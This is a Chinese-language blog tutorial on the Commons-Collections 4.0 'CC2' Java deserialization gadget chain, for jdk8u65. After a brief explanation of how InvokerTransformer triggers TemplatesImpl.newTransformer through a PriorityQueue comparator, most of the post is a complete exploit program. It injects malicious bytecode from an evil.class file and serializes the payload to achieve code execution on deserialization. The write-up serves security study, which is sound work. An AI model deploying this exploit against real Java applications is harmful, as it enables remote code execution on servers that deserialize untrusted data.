Java反序列化之Commons-Collection篇05-CC2链

发布时间 2023-06-13 20:27:55作者: 1vxyz

<1> 环境分析

jdk:jdk8u65
CC:Commons-Collections 4.0
pom.xml 添加

<dependency>  
 <groupId>org.apache.commons</groupId>  
 <artifactId>commons-collections4</artifactId>  
 <version>4.0</version>  
</dependency>

<2> 链子分析

CC2 实际上是 CC4的一个变型。 在CC3中我们提到了 TemplatesImpl链 加载恶意类命令执行,可以通过这个TemplatesImpl.newTransformer() 来作入口加载恶意类

CC2里的做法 并不是像CC4 通过 TransformingComparator.compare() -> InstantiateTransformer.transform() -> TrAXFilter.TrAXFilter() 去调用 TemplatesImpl.newTransformer()

而是通过 InvokerTransformer.transform() 反射调用 TemplatesImpl.newTransformer()

因此我们可以沿用 之前的 CC4和 TemplatesImpl链代码 修改一下即可

CC2的难点就只在于 用 InvokerTransformer 的连接
后半部分应该改为:

InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        //transformingComparator.compare(1,2);

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(templates);  //只能在第一个put这里
        priorityQueue.add(2);

        setFieldValue(transformingComparator,"transformer",invokerTransformer);

调试跟进去看一下就清楚了

最终调用 InvokerTransformer.transform(templates)

EXP编写

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2Test {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","1vxyz");

        byte[] code = Files.readAllBytes(Paths.get("D:\\Java-IDEA\\java_workspace\\CC\\target\\classes\\org\\example\\evil.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);

        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        //transformingComparator.compare(1,2);

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(2);

        setFieldValue(transformingComparator,"transformer",invokerTransformer);
        //serialize(priorityQueue);
        unserialize("sercc2.bin");

    }
    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc2.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}